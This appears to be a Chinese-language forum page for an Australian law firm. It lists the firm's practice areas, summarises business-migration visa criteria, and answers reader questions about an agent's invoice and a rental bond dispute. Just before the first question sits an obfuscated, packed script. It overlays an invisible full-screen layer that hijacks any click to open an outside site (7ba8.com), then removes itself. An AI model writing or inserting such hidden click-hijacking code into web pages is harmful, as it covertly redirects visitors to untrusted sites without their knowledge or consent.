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Bambrick Legal  专注于为澳洲境内外的企业和个人提供个性化的法律咨询和服务。高度专业化、优质低价和富有人性化是我们的服务宗旨。

Bambrick Legal 的律师团队拥有处理各类案子的广泛经验，能够快速、有效地为客户解决各种棘手的法律问题。

现在，Bambrick Legal带领专业团队进驻BBS，为您解答法律难题！

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地址：133-135 Rundle Street ,KentTown  SA  5067

我们的法律专长：

·  移民法 (Migration and Citizenship Law)

针对各类188/888,132商业移民、重大投资移民、雇主担保移民、技术移民、亲属团聚移民等各类签证申请。同时擅长处理有争议的移民裁决和上诉。

· 商业法（Business and Commercial Law）

商业合同、各类商业协议、新公司设立、公司结构、商业咨询、商业贸易、合作伙伴、特许经营、并购和转让、债务追讨、顾客纠纷等

· 税法 (Taxation)

增值税、商品和服务税、所得税、印花税、税务纠纷和拒缴、税务诉讼

·  物业法（Property Law）

商业房屋租赁、不动产买卖合同、按揭、其他相关合同、工人置留权等

·  过户律师（Conveyance）

合同审核、产权过户、分地、买卖物业的法律事务

· 家庭法（Family Law）

分居、离婚、财产分割、孩子监护权

· 遗嘱、财产规划和遗嘱验证 (Wills, Estates and Probate)

遗产规划、永久授权书（EPA）、永久监护权（EPG）、遗嘱、身后财产处置

· 劳动法 (Employment Law)

企业劳资协议，雇佣合同、雇主雇员纷争处理

·  公司和个人破产 (Corporate and Personal Insolvency)

破产、资产清算、董事义务、破产转让咨询等

·  民事法 (Commercial and Civil Litigation)

解决建筑争议，股东争议，房产争议等

·  国际公证 （Notary Public）

海外文件公证

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全新的商业移民新政策的主要特点：

分两类移民，条件好的人可一步到位，直接获永居(132签证)：条件较好的可先获得4年临时居留，建立生意2年后在申请永居（188签证）。申请人全家（含配偶及25岁以下未婚子女及依靠主申请人和配偶生活的父母）可包含在申请内。

188签证

生意类

- 有成功的经商（管理）背景；（直接或间接地参与了公司日常的管理工作和对公司全面经营起到重要决策的职责）
- 申请人过去4年中有2 年必须符合澳洲移民局规定的65分，
- 全家净资产80万澳币以上（折合人民币大约520万左右）；
- 年龄55岁以下，无英语要求；

投资类     
                    
- 个人资产要达到225万澳元
- 要有3年的投资经验（房地产、股票基金、黄金、投资企业）
- 前5年只要有1年用150万澳元来投资（房产、股票、黄金、其他公司、自己公司）
- 年龄在55岁以下
- 来澳州买150万澳元4年的国债，用申请人的名字或夫妻联名都行
- 申请人在4年住满2年即可申请永久居民签证

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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>想找个店面做点小生意。我和很多中介谈了很多店，受本人条件制约，店铺都一个一个被我否决了。但在否决LJ Hooker 推荐的一个店后，LJ Hooker马上让另一家公司给我开出了一张$1100多的发票，要我付款。

我认为自己掉入了陷阱，就按照REI网站上的“THE REAL ESTATE INSTITUTE OF SOUTH AUSTRALIA COMPLAINTS AND DISPUTES HANDLING POLICY”, 给他写了封信，向他陈述我不付款的理由，挂号寄出。

他回了EMAIL，坚持要我付款，也写了他的理由。

我写了投诉信去REI办公室投诉LJ Hooker，和REI的人面谈了，REI说这属commercial，让我找律师。

麻烦帮我免费支点招：我该不该付？如果不该付，应该找谁去理论？如果可能委托你，你们怎么收费？

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最近被之前租的房子弄得好烦。
我们之前从一个中国阿姨那租的房子，后来知道她是二房东，她是跟中介签的房子。再后来还通过中介知道她们每个月多收我们$10的租金，这些都先不说。
我们住进去之前还有一帮背包客住在那里，也是阿姨招来的。那个时候因为阿姨在国内所以背包客搬走的时候她并不在场，背包客走时只是简单清理了一下房子就走了，说他们住进去时房子就这样的。住进去之后我们发现有一个卧室的百叶窗的几片掉了，后来我跟我的小伙伴们打算年回国，但是房子是到今年2月底才到期，所以我们也招了两个女孩子替我们住进去，再后来等到我们搬走退房清洁的时候，房子基本上都是我自己清洁的，那两个女孩子没怎么做清洁因为我觉得他们毕竟只是住了两个月，而且还是我们招来的，但是阿姨作为合同上的合法租客并没有出现过，她说是因为她走之前都清洁的很干净之类的话，所以他没有责任清洁房子，但是自始至终她都没有给我看过他和中介签的合同，我们住之前我们要求要看过，但是她从来都没那给过我们。合同上有她们搬进去时房子的清洁状况，我并不知道，所以基本上也是按照我搬进去时的样子打扫的。
现在中介查完房，扣了地毯steam clean的费用，还有洗衣机的费用（我猜应该是洗衣机清洁费吧，阿姨说中介没具体说是什么），还有就是那个百叶窗的费用。
现在阿姨的意思是让我全都负责，并从我的的bonding里扣，我觉得好冤啊，主要这也快学期末了，作业就压得快透不过气，根本不想再为这件事纠结。
所以想请问，你们处理这样的小民事纠纷么？我有必要请律师来帮我全权代理么？费用是多少啊？？

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看起来您的租房过程并不正规，Bond金在阿姨自己手里而不是按规定在政府指定的部门管理之下，所以你的权益比较难以得到保障。如果请律师解决这个小标的纠纷实在不合算的，所以建议您今后租房一定要注意，正规情况下如果产生纠纷租客是可以自己到Tenancies Tribunal提出投诉请求的。

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很多时候商业纠纷都是起源于合同双方有一方对合同的条款不理解或者有误解。如果对合同条款没有完全理解或者认为合同上没有将前期所商定好的内容全面地体现在合同里，那么请不要轻易地在合同上签字。千万不要信赖任何口头保证---一定要以书面的形式写下来。如果您对需要签订的合同有所不理解，或者需要准备商业合同或协议，我们可以为您提供专业的建议。

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